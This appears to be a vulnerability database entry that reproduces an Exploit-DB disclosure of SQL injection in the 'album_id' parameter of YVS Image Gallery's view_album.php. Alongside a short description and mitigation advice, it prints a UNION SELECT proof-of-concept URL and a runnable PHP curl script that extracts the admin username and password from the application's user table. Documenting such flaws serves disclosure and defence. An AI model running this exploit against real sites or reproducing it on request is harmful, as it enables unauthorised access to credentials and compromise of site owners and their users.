YVS Image Gallery SQL Injection Vulnerability

vendor:

YVS Image Gallery

by:

Corrado Liotta Aka CorryL

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: YVS Image Gallery

Affected Version From: 0.0.0.1

Affected Version To: 0.0.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:yvs:yvs_image_gallery

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Unix

2013

YVS Image Gallery SQL Injection Vulnerability

This vulnerability allows a remote attacker to gain access to the user name and admin password of the YVS Image Gallery application. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'album_id' parameter of the 'view_album.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with an SQL injection payload in the 'album_id' parameter. This will allow the attacker to gain access to the user name and admin password of the application.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate SQL queries that can be exploited. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

-=[+] Application: YVS Image Gallery
-=[+] Version: 0.0.0.1
-=[+] Vendor's URL: http://yvs.vacau.com/gallery.html
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: Sql INJECTIONS
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Facebook: https://www.facebook.com/CorryL
-=[+] Twitter: https://twitter.com/#!/CorradoLiotta
-=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
-=[+] +Google: https://plus.google.com/u/0/109396477464303670923

...::[ Descriprion ]::..

This is a small database driven gallery created to be implemented
within your existing site.
The coding is reasonably straight forward and can be easily moved into
your existing development
by anyone with basic understanding of PHP.
Only a first attempt at the system has a long way to go,
but it provides you with all the necessary tools to run your own
picture gallery,
such as uploading of multiple images and creation of thumbnails.
The gallery is distributed as free-ware but if you decide to use it in
any business or just decide that it's worth it,
any donations will be greatly appreciated. details will be made available soon.


...::[ Bug ]::..

exploiting this bug a remote attaker is able' to go up again to user
name and admin password



...::[ Proof Of Concept ]::..

http://Server-Victim/image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20username%20FROM%20user

...::[ Exploit ]::..

#!/usr/bin/php -f
<?php
#
# view_album.php curl exploit
#


// Created by Corrado Liotta Aka CorryL
// For educational only
// use php exploit.php 127.0.0.1 username for admin username o
password for admin password

$target = $argv[1];
$info = $argv[2];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL,
"http://$target/image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20$info%20FROM%20user");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>

..::[ Disclousure Timeline ]::..

[23/02/2012] - No Vendor Information

-- 
Corrado Liotta� � � �� A.k.a (CorryL)
Email: corryl80@gmail.com
Slype: corrado_liotta
Facebook: http://www.facebook.com/home.php/CorryL
Twitter: https://twitter.com/#!/CorradoLiotta
Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611

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